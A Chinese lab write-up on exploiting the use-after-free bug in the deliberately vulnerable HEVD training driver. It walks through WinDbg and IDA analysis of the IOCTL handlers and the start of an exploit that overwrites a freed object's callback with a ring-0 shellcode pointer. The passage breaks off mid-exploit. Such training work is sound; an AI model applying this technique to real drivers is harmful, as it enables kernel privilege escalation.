HEVD学习笔记—

HEVD学习笔记——UAF
2021-11-28 18:59:00 Author: mp.weixin.qq.com(查看原文) 阅读量:21 收藏

本文为看雪论坛优秀文章
看雪论坛作者ID：1900

一

介绍

HEVD作为一个优秀的内核漏洞靶场受到大家的喜欢，靶场地址 HackSysExtremeVulnerableDriver。这里选择x86的驱动来进行黑盒测试学习内核漏洞，作为学习笔记记录下来。

实验环境：

二

驱动信息

1、WinDbg

装载驱动以后首先使用WinDbg查看驱动的内容

SXS.DLL: Read 0 bytes from XML stream; HRESULT returned = 0x00000000SXS.DLL: Creating 756 byte file mapping
 ##     ## ######## ##     ## ########   ##     ## ##       ##     ## ##     ##  ##     ## ##       ##     ## ##     ##  ######### ######   ##     ## ##     ##  ##     ## ##        ##   ##  ##     ##  ##     ## ##         ## ##   ##     ##  ##     ## ########    ###    ########     HackSys Extreme Vulnerable Driver                 Version: 3.00              [+] HackSys Extreme Vulnerable Driver Loaded
2: kd> lm m HEVDstart    end        module name98c78000 98cc2000   HEVD       (deferred)             2: kd> !drvobj HEVD 2Driver object (87d68b90) is for:*** ERROR: Module load completed but symbols could not be loaded for HEVD.sys \Driver\HEVDDriverEntry:   98cc00ea  HEVDDriverStartIo: 00000000   DriverUnload:  98cbc000   HEVDAddDevice:     00000000   
Dispatch routines:[00] IRP_MJ_CREATE                      98cbc048 HEVD+0x44048[01] IRP_MJ_CREATE_NAMED_PIPE           98cbc5c2    HEVD+0x445c2[02] IRP_MJ_CLOSE                       98cbc048    HEVD+0x44048[03] IRP_MJ_READ                        98cbc5c2   HEVD+0x445c2[04] IRP_MJ_WRITE                       98cbc5c2    HEVD+0x445c2[05] IRP_MJ_QUERY_INFORMATION           98cbc5c2    HEVD+0x445c2[06] IRP_MJ_SET_INFORMATION             98cbc5c2  HEVD+0x445c2[07] IRP_MJ_QUERY_EA                    98cbc5c2   HEVD+0x445c2[08] IRP_MJ_SET_EA                      98cbc5c2 HEVD+0x445c2[09] IRP_MJ_FLUSH_BUFFERS               98cbc5c2    HEVD+0x445c2[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    98cbc5c2   HEVD+0x445c2[0b] IRP_MJ_SET_VOLUME_INFORMATION      98cbc5c2 HEVD+0x445c2[0c] IRP_MJ_DIRECTORY_CONTROL           98cbc5c2    HEVD+0x445c2[0d] IRP_MJ_FILE_SYSTEM_CONTROL         98cbc5c2  HEVD+0x445c2[0e] IRP_MJ_DEVICE_CONTROL              98cbc064 HEVD+0x44064[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     98cbc5c2  HEVD+0x445c2[10] IRP_MJ_SHUTDOWN                    98cbc5c2   HEVD+0x445c2[11] IRP_MJ_LOCK_CONTROL                98cbc5c2   HEVD+0x445c2[12] IRP_MJ_CLEANUP                     98cbc5c2  HEVD+0x445c2[13] IRP_MJ_CREATE_MAILSLOT             98cbc5c2  HEVD+0x445c2[14] IRP_MJ_QUERY_SECURITY              98cbc5c2 HEVD+0x445c2[15] IRP_MJ_SET_SECURITY                98cbc5c2   HEVD+0x445c2[16] IRP_MJ_POWER                       98cbc5c2    HEVD+0x445c2[17] IRP_MJ_SYSTEM_CONTROL              98cbc5c2 HEVD+0x445c2[18] IRP_MJ_DEVICE_CHANGE               98cbc5c2    HEVD+0x445c2[19] IRP_MJ_QUERY_QUOTA                 98cbc5c2  HEVD+0x445c2[1a] IRP_MJ_SET_QUOTA                   98cbc5c2    HEVD+0x445c2[1b] IRP_MJ_PNP                         98cbc5c2  HEVD+0x445c2

驱动装载的地址是0x98C78000，DriverEntry的地址是0x98CC00EA，所以DriverEntry的偏移地址是0x480EA。IRP_MJ_DEVICE_CONTROL的分发函数偏移地址0x445C2。

2、IDA Pro

使用IDA对驱动进行分析，可以看到在DriverEntry首先是创建了设备对象

INIT:00448036                 push    eax             ; DeviceObjectINIT:00448037                 push    edi             ; ExclusiveINIT:00448038                 push    FILE_DEVICE_SECURE_OPEN ; DeviceCharacteristicsINIT:0044803D                 push    FILE_DEVICE_UNKNOWN ; DeviceTypeINIT:0044803F                 lea     eax, [ebp+DestinationString]INIT:00448042                 push    eax             ; DeviceNameINIT:00448043                 push    edi             ; DeviceExtensionSizeINIT:00448044                 push    ebx             ; DriverObjectINIT:00448045                 call    ds:IoCreateDevice

随后就是对分发函数的赋值以及符号链接的创建：

INIT:00448075                 push    1ChINIT:00448077                 pop     ecxINIT:00448078                 mov     eax, offset DispatchCommonINIT:0044807D                 lea     edi, [ebx+DRIVER_OBJECT.MajorFunction]INIT:00448080                 rep stosdINIT:00448082                 mov     eax, offset DispatchCreateAndCloseINIT:00448087                 mov     dword ptr [ebx+70h], offset DispatchIoCtrlINIT:0044808E                 mov     [ebx+38h], eaxINIT:00448091                 mov     [ebx+40h], eaxINIT:00448094                 mov     eax, [ebp+DeviceObject]INIT:00448097                 mov     [ebx+_DRIVER_OBJECT.DriverUnload], offset DriverUnloadINIT:0044809E                 or      [eax+DEVICE_OBJECT.Flags], DO_DIRECT_IOINIT:004480A2                 mov     eax, [ebp+DeviceObject]INIT:004480A5                 and     [eax+DEVICE_OBJECT.Flags], 0FFFFFF7FhINIT:004480AC                 lea     eax, [ebp+DestinationString]INIT:004480AF                 push    eax             ; DeviceNameINIT:004480B0                 lea     eax, [ebp+SymbolicLinkName]INIT:004480B3                 push    eax             ; SymbolicLinkNameINIT:004480B4                 call    ds:IoCreateSymbolicLink

而根据IDA识别的结果就可以得知符号名，根据符号名就可以完成和驱动的连接与通信：

INIT:00448134 aDeviceHacksyse:                        ; DATA XREF: DriverEntry(x,x)+14↑oINIT:00448134                 text "UTF-16LE", '\Device\HackSysExtremeVulnerableDriver',0INIT:00448182 ; const WCHAR aDosdevicesHack_0INIT:00448182 aDosdevicesHack_0:                      ; DATA XREF: DriverEntry(x,x)+25↑oINIT:00448182                 text "UTF-16LE", '\DosDevices\HackSysExtremeVulnerableDriver',0

而在DispatchIoCtrl中，程序将IoControlCode取出减去0x222003以后得到下标，在用这个下标从Index_Table中取出函数地址表的下标。

在根据这个地址表的下标从Func_Table中获得函数地址以后跳转到该函数执行：

PAGE:00444064 ; int __stdcall DispatchIoCtrl(int, PIRP Irp)PAGE:00444064 DispatchIoCtrl  proc near               ; DATA XREF: DriverEntry(x,x)+87↓oPAGE:00444064PAGE:00444064 Irp             = dword ptr  0ChPAGE:00444064PAGE:00444064                 push    ebpPAGE:00444065                 mov     ebp, espPAGE:00444067                 push    ebxPAGE:00444068                 push    esiPAGE:00444069                 push    ediPAGE:0044406A                 mov     edi, [ebp+Irp]PAGE:0044406D                 mov     ebx, STATUS_NOT_SUPPORTEDPAGE:00444072                 mov     eax, [edi+60h]  ; 取出CurrentStackLocation指针赋给eaxPAGE:00444075                 test    eax, eaxPAGE:00444077                 jz      loc_4444C5PAGE:0044407D                 mov     ebx, eaxPAGE:0044407F                 mov     ecx, [ebx+IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]PAGE:00444082                 lea     eax, [ecx-222003h] ; switch 109 casesPAGE:00444088                 cmp     eax, 6ChPAGE:0044408B                 ja      loc_4444AD      ; jumptable 00444098 default casePAGE:00444091                 movzx   eax, ds:Index_Table[eax]PAGE:00444098                 jmp     ds:Func_Table[eax*4] ; switch jump

而这两张表的内容如下，其中的FuncTable中的每一个地址都代表了不同的漏洞：

PAGE:004444E0 Func_Table      dd offset loc_44409F, offset loc_4440CF, offset loc_4440F1PAGE:004444E0                                         ; DATA XREF: DispatchIoCtrl+34↑rPAGE:004444E0                 dd offset loc_444113, offset loc_444135, offset loc_44415A ; jump table for switch statementPAGE:004444E0                 dd offset loc_44417F, offset loc_4441A4, offset loc_4441C9PAGE:004444E0                 dd offset loc_4441EE, offset loc_444213, offset loc_444238PAGE:004444E0                 dd offset loc_44425D, offset loc_444282, offset loc_4442A7PAGE:004444E0                 dd offset loc_4442CC, offset loc_4442F1, offset loc_444316PAGE:004444E0                 dd offset loc_44433B, offset loc_444360, offset loc_444385PAGE:004444E0                 dd offset loc_4443AA, offset loc_4443CF, offset loc_4443F4PAGE:004444E0                 dd offset loc_444419, offset loc_44443E, offset loc_444463PAGE:004444E0                 dd offset loc_444488, offset loc_4444ADPAGE:00444554 Index_Table     db      0,   1Ch,   1Ch,   1ChPAGE:00444554                                         ; DATA XREF: DispatchIoCtrl+2D↑rPAGE:00444554                 db      1,   1Ch,   1Ch,   1Ch ; indirect table for switch statementPAGE:00444554                 db      2,   1Ch,   1Ch,   1ChPAGE:00444554                 db      3,   1Ch,   1Ch,   1ChPAGE:00444554                 db      4,   1Ch,   1Ch,   1ChPAGE:00444554                 db      5,   1Ch,   1Ch,   1ChPAGE:00444554                 db      6,   1Ch,   1Ch,   1ChPAGE:00444554                 db      7,   1Ch,   1Ch,   1ChPAGE:00444554                 db      8,   1Ch,   1Ch,   1ChPAGE:00444554                 db      9,   1Ch,   1Ch,   1ChPAGE:00444554                 db    0Ah,   1Ch,   1Ch,   1ChPAGE:00444554                 db    0Bh,   1Ch,   1Ch,   1ChPAGE:00444554                 db    0Ch,   1Ch,   1Ch,   1ChPAGE:00444554                 db    0Dh,   1Ch,   1Ch,   1ChPAGE:00444554                 db    0Eh,   1Ch,   1Ch,   1ChPAGE:00444554                 db    0Fh,   1Ch,   1Ch,   1ChPAGE:00444554                 db    10h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    11h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    12h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    13h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    14h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    15h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    16h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    17h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    18h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    19h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    1Ah,   1Ch,   1Ch,   1ChPAGE:00444554                 db    1BhPAGE:004445C1                 align 2

如果取出的函数地址表的下标是0x1C，那么对应的就是最后一个跳转地址，也就是loc_4444AD。

而这个地址中的代码是在告知用户，发送的IOCTL是不合法的IOCTL：

PAGE:004444AD loc_4444AD:                             ; CODE XREF: DispatchIoCtrl+27↑jPAGE:004444AD                                         ; DispatchIoCtrl+34↑jPAGE:004444AD                                         ; DATA XREF: ...PAGE:004444AD                 push    ecx             ; jumptable 00444098 default casePAGE:004444AE                 push    offset aInvalidIoctlCo ; "[-] Invalid IOCTL Code: 0x%X\n"PAGE:004444B3                 push    3               ; LevelPAGE:004444B5                 push    DPFLTR_IHVDRIVER_ID ; ComponentIdPAGE:004444B7                 call    ds:DbgPrintExPAGE:004444BD                 add     esp, 10hPAGE:004444C0                 mov     ebx, STATUS_INVALID_DEVICE_REQUESTPAGE:004444C5PAGE:004444C5 loc_4444C5:                             ; CODE XREF: DispatchIoCtrl+13↑jPAGE:004444C5                                         ; DispatchIoCtrl+66↑jPAGE:004444C5                 and     [edi+_IRP.IoStatus.Information], 0PAGE:004444C9                 xor     dl, dl          ; PriorityBoostPAGE:004444CB                 mov     ecx, edi        ; IrpPAGE:004444CD                 mov     [edi+_IRP.IoStatus.anonymous_0.Status], ebxPAGE:004444D0                 call    ds:IofCompleteRequestPAGE:004444D6                 pop     ediPAGE:004444D7                 pop     esiPAGE:004444D8                 mov     eax, ebxPAGE:004444DA                 pop     ebxPAGE:004444DB                 pop     ebpPAGE:004444DC                 retn    8PAGE:004444DC DispatchIoCtrl  endp

这就可以知道，要触发不同的漏洞，IOCTL是从0x222003开始，每次都要增加4，最多可以增加0x1B次。

三

漏洞原理

释放重引用漏洞(UAF)产生的原因是对已经释放的内存区域进行使用，导致了内存崩溃或者任意代码的执行。比如下面这段代码：

#include <windows.h>#include <cstdio>
int main(int argc, char **argv){    char *buf1;    char *buf2;

    buf1 = (char *)malloc(0x100);    // 为buf1申请一段堆内存    printf("buf1: 0x%p\n", buf1);    free(buf1);                     // 将这段内存释放掉，但是buf1并没有赋值为NULL
    buf2 = (char *)malloc(0x100);    // 为buf2申请同样大的堆内存，这时候之前buf1申请然后释放掉的堆内存就会给buf2     printf("buf2: 0x%p\n", buf2);
    memset(buf2, 0, 0x100);              printf("buf2: %s\n", buf2);       // 将这段内存初始化以后输出
    // 由于这段堆内存被buf2重新申请，它将会有效，此时堆buf1的操作也会有效    // 又因为它们两个指向同一块堆内存，所以对buf1的操作也会影响到buf2    printf("======Use After Free======\n");    strncpy(buf1, "Hello 1900", strlen("hello 1900"));     printf("buf2: %s\n", buf2);
    return 0;}

由于free掉buf1以后，没有及时地将buf1的指针清空，导致随后对buf1的操作将会有效，从而影响了buf2的数据。最终输出如下图：

所以要利用UAF漏洞，需要以下的几个步骤：

1、申请一块内存以后释放掉它，但是没有清空该内存的指针

2、重新申请一块同样大小的内存，此时这两个指针对指向同一块内存

3、对第一步的指针进行操作，它将会影响到第二步申请的指针指向的内存

四

漏洞分析

在HEVD中，有4个函数是用来实现本次的漏洞，分别是：

1、AllocateUAFObjectNonPagedPoolIoCtrlHandler：用来申请一块内存

2、UseUAFObjectNonPagedPoolIoCtrlHandler：对申请的内存的使用

3、FreeUAFObjectNonPagedPoolIoCtrlHandler：释放申请的内存

4、AllocateFakeObjectNonPagedPoolIoCtrlHandler：申请和第一步同样大小的内存并对其进行修改

1、AllocateUAFObjectNonPagedPoolIoCtrlHandler

该函数是函数地址表中的第5个函数，所以对应的IOCTL为0x222003 + 4 * 4。

PAGE:00444135 loc_444135:                             ; CODE XREF: DispatchIoCtrl+34↑jPAGE:00444135                                         ; DATA XREF: PAGE:Func_Table↓oPAGE:00444135                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236435PAGE:0044413B                 push    offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"...PAGE:00444140                 push    3               ; LevelPAGE:00444142                 push    4Dh             ; ComponentIdPAGE:00444144                 call    esi ; DbgPrintExPAGE:00444146                 add     esp, 0ChPAGE:00444149                 push    ebx             ; 将CurrentStackLocation指针入栈PAGE:0044414A                 push    edi             ; 将IRP的指针入栈PAGE:0044414B                 call    AllocateUAFObjectNonPagedPoolIoCtrlHandlerPAGE:00444150                 push    offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"...PAGE:00444155                 jmp     loc_4440BF

程序将参数入栈以后就调用了AllocateUAFObjectNonPagedPoolCtrlHandler，继续看该函数：

PAGE:0044635A AllocateUAFObjectNonPagedPoolIoCtrlHandler proc nearPAGE:0044635A                                         ; CODE XREF: DispatchIoCtrl+E7↑pPAGE:0044635A                 call    AllocateUAFObjectNonePagedPoolPAGE:0044635F                 retn    8PAGE:0044635F AllocateUAFObjectNonPagedPoolIoCtrlHandler endp

在该函数中，只是调用了AllocateUAFObjectNonPagedPool，继续跟进这个函数。

PAGE:00446236 AllocateUAFObjectNonePagedPool proc nearPAGE:00446236                                         ; CODE XREF: AllocateUAFObjectNonPagedPoolIoCtrlHandler↓pPAGE:00446236PAGE:00446236 var_1C          = dword ptr -1ChPAGE:00446236 ms_exc          = CPPEH_RECORD ptr -18hPAGE:00446236PAGE:00446236                 push    0ChPAGE:00446238                 push    offset stru_402580PAGE:0044623D                 call    __SEH_prolog4PAGE:00446242                 mov     edi, STATUS_UNSUCCESSFULPAGE:00446247                 and     dword ptr [ebp-4], 0PAGE:0044624B                 push    offset aAllocatingUafO ; "[+] Allocating UaF Object\n"PAGE:00446250                 push    3               ; LevelPAGE:00446252                 push    4Dh             ; ComponentIdPAGE:00446254                 mov     esi, ds:DbgPrintExPAGE:0044625A                 call    esi ; DbgPrintExPAGE:0044625C                 add     esp, 0ChPAGE:0044625F                 push    'kcaH'          ; TagPAGE:00446264                 push    58h             ; NumberOfBytesPAGE:00446266                 push    NonPagedPool    ; PoolTypePAGE:00446268                 call    ds:ExAllocatePoolWithTagPAGE:0044626E                 mov     ebx, eax        ; 将申请到的内存的地址赋给ebxPAGE:00446270                 test    ebx, ebxPAGE:00446272                 jnz     short loc_446291

可以看到，该函数中首先申请了一块0x58大小，tag为Hack的内存，并将指针赋给ebx。

PAGE:00446236 AllocateUAFObjectNonePagedPool proc nearPAGE:00446236                                         ; CODE XREF: AllocateUAFObjectNonPagedPoolIoCtrlHandler↓pPAGE:00446236PAGE:00446236 var_1C          = dword ptr -1ChPAGE:00446236 ms_exc          = CPPEH_RECORD ptr -18hPAGE:00446236PAGE:00446236                 push    0ChPAGE:00446238                 push    offset stru_402580PAGE:0044623D                 call    __SEH_prolog4PAGE:00446242                 mov     edi, STATUS_UNSUCCESSFULPAGE:00446247                 and     dword ptr [ebp-4], 0PAGE:0044624B                 push    offset aAllocatingUafO ; "[+] Allocating UaF Object\n"PAGE:00446250                 push    3               ; LevelPAGE:00446252                 push    4Dh             ; ComponentIdPAGE:00446254                 mov     esi, ds:DbgPrintExPAGE:0044625A                 call    esi ; DbgPrintExPAGE:0044625C                 add     esp, 0ChPAGE:0044625F                 push    'kcaH'          ; TagPAGE:00446264                 push    58h             ; NumberOfBytesPAGE:00446266                 push    NonPagedPool    ; PoolTypePAGE:00446268                 call    ds:ExAllocatePoolWithTagPAGE:0044626E                 mov     ebx, eax        ; 将申请到的内存的地址赋给ebxPAGE:00446270                 test    ebx, ebxPAGE:00446272                 jnz     short loc_446291

随后程序会将这段内存的前4个字节赋值为UAFObjectCallbackNonPagedPool，后面的字节赋值为'A'，并将申请到的内存保存在全局变量中。而前4字节保存的函数只是一个简单的输出函数。

PAGE:00446418 UAFObjectCallbackNonPagedPool proc near ; DATA XREF: AllocateUAFObjectNonePagedPool+A8↑oPAGE:00446418                 push    offset aUseafterFreeOb ; "[+] UseAfter Free Object Callback NonPa"...PAGE:0044641D                 push    3               ; LevelPAGE:0044641F                 push    4Dh             ; ComponentIdPAGE:00446421                 call    ds:DbgPrintExPAGE:00446427                 add     esp, 0ChPAGE:0044642A                 retnPAGE:0044642A UAFObjectCallbackNonPagedPool endp

由此可知，AllocateUAFObjectNonPagedPoolIoCtrlHandler做的事情是，申请一块0x58大小的内存。该内存的前4字节赋值为一个函数地址，后面的字节赋值为'A'。而这块内存的地址也会被赋值到全局变量g_UseAfterFreeObjectNonPagedPool中。

2、UseUAFObjectNonPagedPoolIoCtrlHandler

该函数是函数表中的第6个函数，对应的IOCTL是0x222003 + 5 * 4。而该IOCTL的操作是对UseUAFObjectNonPagedPoolIoCtrlHandler的调用，而在该函数中会调用UseUAFObjectNonPagedPool。

PAGE:0044415A loc_44415A:                             ; CODE XREF: DispatchIoCtrl+34↑jPAGE:0044415A                                         ; DATA XREF: PAGE:Func_Table↓oPAGE:0044415A                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236439PAGE:00444160                 push    offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"...PAGE:00444165                 push    3               ; LevelPAGE:00444167                 push    4Dh             ; ComponentIdPAGE:00444169                 call    esi ; DbgPrintExPAGE:0044416B                 add     esp, 0ChPAGE:0044416E                 push    ebxPAGE:0044416F                 push    ediPAGE:00444170                 call    UseUAFObjectNonPagedPoolIoCtrlHandlerPAGE:00444175                 push    offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"...PAGE:0044417A                 jmp     loc_4440BF ================================================================================================ PAGE:004464E8 UseUAFObjectNonPagedPoolIoCtrlHandler proc nearPAGE:004464E8                                         ; CODE XREF: DispatchIoCtrl+10C↑pPAGE:004464E8                 call    UseUAFObjectNonPagedPoolPAGE:004464ED                 retn    8PAGE:004464ED UseUAFObjectNonPagedPoolIoCtrlHandler endp

在UseUAFObjectNonPagedPool中，函数首先会对全局变量g_UseAfterFreeObjectNonPagedPool进行判断，判断该变量中是否保存了内存地址。

PAGE:00446441                 cmp     g_UserAfterFreeObjectNonPagedPool, 0 ; 判断全局变量中是否保存了地址PAGE:00446448                 jz      loc_4464CE

随后就是对地址的前四字节进行判断，是否保存了函数地址，如果保存了就调用这个函数。

PAGE:00446495                 mov     eax, [eax]      ; 取出函数地址PAGE:00446497                 test    eax, eax        ; 函数地址是否有效PAGE:00446499                 jz      short loc_44649DPAGE:0044649B                 call    eax             ; 对函数进行调用

3、FreeUAFObjectNonPagedPoolIoCtrlHandler

该函数是地址表中的第7个函数，对应的IOCTL是0x222003 + 6 * 4。而该IOCTL的操作是对FreeUAFObjectNonPagedPoolIoCtrlHandler的调用，而在该函数中会调用FreeUAFObjectNonPagedPool。

PAGE:0044417F loc_44417F:                             ; CODE XREF: DispatchIoCtrl+34↑jPAGE:0044417F                                         ; DATA XREF: PAGE:Func_Table↓oPAGE:0044417F                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236443PAGE:00444185                 push    offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"...PAGE:0044418A                 push    3               ; LevelPAGE:0044418C                 push    4Dh             ; ComponentIdPAGE:0044418E                 call    esi ; DbgPrintExPAGE:00444190                 add     esp, 0ChPAGE:00444193                 push    ebxPAGE:00444194                 push    ediPAGE:00444195                 call    FreeUAFObjectNonPagedPoolIoCtrlHandlerPAGE:0044419A                 push    offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"...PAGE:0044419F                 jmp     loc_4440BF ====================================================================================== PAGE:00446410 FreeUAFObjectNonPagedPoolIoCtrlHandler proc nearPAGE:00446410                                         ; CODE XREF: DispatchIoCtrl+131↑pPAGE:00446410                 call    FreeUAFObjectNonPagedPoolPAGE:00446415                 retn    8PAGE:00446415 FreeUAFObjectNonPagedPoolIoCtrlHandler endp

而在FreeUAFObjectNonPagedPool函数中，函数首先会判断g_UseAfterFreeObjectNonPagedPool保存的地址是否为0。

PAGE:00446377                 cmp     g_UseAfterFreeObjectNonPagedPool, 0PAGE:0044637E                 jz      short loc_4463F7

如果地址不为0，函数就会调用ExFreePoolWithTag将这段内存释放掉。

PAGE:004463B5                 push    'kcaH'          ; TagPAGE:004463BA                 push    g_UseAfterFreeObjectNonPagedPool ; PPAGE:004463C0                 call    ds:ExFreePoolWithTag

4、AllocateFakeObjectNonPagedPoolIoCtrlHandler

该函数在函数地址表中的第8个函数，对应的IOCTL为0x222003 + 7 * 4。

PAGE:004441A4 loc_4441A4:                             ; CODE XREF: DispatchIoCtrl+34↑jPAGE:004441A4                                         ; DATA XREF: PAGE:Func_Table↓oPAGE:004441A4                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236447PAGE:004441AA                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...PAGE:004441AF                 push    3               ; LevelPAGE:004441B1                 push    4Dh             ; ComponentIdPAGE:004441B3                 call    esi ; DbgPrintExPAGE:004441B5                 add     esp, 0ChPAGE:004441B8                 push    ebx             ; 将CurrentStackLocation指针入栈PAGE:004441B9                 push    edi             ; 将IRP的指针入栈PAGE:004441BA                 call    AllocateFakeObjectNonPagedPoolIoCtlHandlerPAGE:004441BF                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...PAGE:004441C4                 jmp     loc_4440BF

将IRP和CurrentStackLocation指针入栈以后就调用了AllocateFakeObjectNonPagedPoolIoCtrlHandler。

PAGE:004441A4 loc_4441A4:                             ; CODE XREF: DispatchIoCtrl+34↑jPAGE:004441A4                                         ; DATA XREF: PAGE:Func_Table↓oPAGE:004441A4                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236447PAGE:004441AA                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...PAGE:004441AF                 push    3               ; LevelPAGE:004441B1                 push    4Dh             ; ComponentIdPAGE:004441B3                 call    esi ; DbgPrintExPAGE:004441B5                 add     esp, 0ChPAGE:004441B8                 push    ebx             ; 将CurrentStackLocation指针入栈PAGE:004441B9                 push    edi             ; 将IRP的指针入栈PAGE:004441BA                 call    AllocateFakeObjectNonPagedPoolIoCtlHandlerPAGE:004441BF                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...PAGE:004441C4                 jmp     loc_4440BF

在该函数中，函数会将输入缓冲区的地址取出以后入栈，接着在调用AllocateFakeObjectNonPagedPool函数。

PAGE:0044611C ; int __stdcall AllocateFakeObjectNonPagedPool(void *)PAGE:0044611C AllocateFakeObjectNonPagedPool proc nearPAGE:0044611C                                         ; CODE XREF: AllocateFakeObjectNonPagedPoolIoCtlHandler+13↓pPAGE:0044611CPAGE:0044611C var_20          = dword ptr -20hPAGE:0044611C var_AllocateMemory= dword ptr -1ChPAGE:0044611C ms_exc          = CPPEH_RECORD ptr -18hPAGE:0044611C arg_InputBuffer = dword ptr  8PAGE:0044611CPAGE:0044611C                 push    10hPAGE:0044611E                 push    offset stru_4025A0PAGE:00446123                 call    __SEH_prolog4PAGE:00446128                 xor     ebx, ebxPAGE:0044612A                 mov     [ebp+ms_exc.registration.TryLevel], ebxPAGE:0044612D                 push    offset aCreatingFakeOb ; "[+] Creating Fake Object\n"PAGE:00446132                 push    3               ; LevelPAGE:00446134                 push    4Dh             ; ComponentIdPAGE:00446136                 mov     esi, ds:DbgPrintExPAGE:0044613C                 call    esi ; DbgPrintExPAGE:0044613E                 add     esp, 0ChPAGE:00446141                 push    'kcaH'          ; TagPAGE:00446146                 push    58h             ; NumberOfBytesPAGE:00446148                 push    ebx             ; PoolTypePAGE:00446149                 call    ds:ExAllocatePoolWithTagPAGE:0044614F                 mov     edi, eax        ; 将申请到的地址赋给ediPAGE:00446151                 mov     [ebp+var_AllocateMemory], edi ; 将地址赋给局部变量PAGE:00446154                 test    edi, edi        ; 申请到的内存是否成功PAGE:00446156                 jnz     short loc_446177PAGE:00446158                 push    offset aUnableToAlloca_1 ; "[-] Unable to allocate Pool chunk\n"PAGE:0044615D                 push    3               ; LevelPAGE:0044615F                 push    4Dh             ; ComponentIdPAGE:00446161                 call    esi ; DbgPrintExPAGE:00446163                 add     esp, 0ChPAGE:00446166                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEhPAGE:0044616D                 mov     eax, STATUS_NO_MEMORYPAGE:00446172                 jmp     loc_446204

函数会申请一块0x58大，tag为Hack的内存，并将内存地址保存到edi和局部变量中。

PAGE:004461B3                 push    1               ; AlignmentPAGE:004461B5                 push    58h             ; LengthPAGE:004461B7                 mov     esi, [ebp+arg_InputBuffer] ; 将输入缓冲区的地址取出赋给esiPAGE:004461BA                 push    esi             ; AddressPAGE:004461BB                 call    ds:ProbeForReadPAGE:004461C1                 push    16hPAGE:004461C3                 pop     ecxPAGE:004461C4                 rep movsdPAGE:004461C6                 mov     eax, [ebp+var_AllocateMemory]PAGE:004461C9                 mov     [eax+57h], bl   ; 将内存最后一个字节赋值为0

接着函数会验证输入缓冲区的指针是否可读，然后将输入缓冲区的内容赋值到申请到的0x58字节的内存中，在对申请到的内存的最后一个字节赋值为0。

五

漏洞利用

由上面分析可以知道，申请的0x58大小的内存中的前4个字节保存了一个函数地址。正常情况下，通过对UseUAFObjectNonPagedPoolIoCtrlHandler的调用就会调用程序分配的那个函数，如下图所示：

可是，在释放内存的时候，程序没有对全局变量进行处理。这样，如果释放完内存以后，调用AllocateFakeObjectNonPagedPoolIoCtrlHandler的时候，程序会申请0x58大小的内存，这个时候就会得到和全局变量所指地址一样的内存区域。

而此时我们通过构造输入缓冲区的前4字节来指定为ShellCode的函数地址，这样就会改变全局变量所指的内存的前4字节，这个时候在调用UseUAFObjectNonPagedPoolIoCtrlHandler的时候，就会调用指定的ShellCode函数地址。

完整的exp代码如下:

// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <cstdio>#include <cstdlib>#include <windows.h>#include "ntapi.h"#pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver" void ShowError(PCHAR msg, DWORD ErrorCode);NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength); BOOL g_bIsExecute = FALSE; int main(){    NTSTATUS status = STATUS_SUCCESS;    HANDLE hDevice = NULL;    DWORD dwReturnLength = 0;    STARTUPINFO si = { 0 };    PROCESS_INFORMATION pi = { 0 };    CONST DWORD dwAllocateIoCtl = 0x222003 + 4 * 4;    CONST DWORD dwUseIoCtl = 0x222003 + 5 * 4;    CONST DWORD dwFreeIoCtl = 0x222003 + 6 * 4;    CONST DWORD dwFakeIoCtl = 0x222003 + 7 * 4;     // 打开驱动设备    hDevice = CreateFile(LINK_NAME,                         GENERIC_READ | GENERIC_WRITE,                         0,                         NULL,                         OPEN_EXISTING,                         FILE_ATTRIBUTE_NORMAL,                         0);    if (hDevice == INVALID_HANDLE_VALUE)    {        ShowError("CreateFile", GetLastError());        goto exit;    }     // 与驱动设备进行交互，分配0x58大小的内存    DeviceIoControl(hDevice,                    dwAllocateIoCtl,                    NULL,                    0,                    NULL,                    0,                    &dwReturnLength,                    NULL);          // 与驱动设备进行交互，正常操作时候对函数的调用    DeviceIoControl(hDevice,                    dwUseIoCtl,                    NULL,                    0,                    NULL,                    0,                    &dwReturnLength,                    NULL);          // 与驱动设备进行交互，将申请的内存块释放    DeviceIoControl(hDevice,                    dwFreeIoCtl,                    NULL,                    0,                    NULL,                    0,                    &dwReturnLength,                    NULL);     char szInput[0x58] = { 0 };     *(PDWORD)szInput = (DWORD)Ring0ShellCode;    // 与驱动设备进行交互，对函数地址进行覆盖    if (!DeviceIoControl(hDevice,                         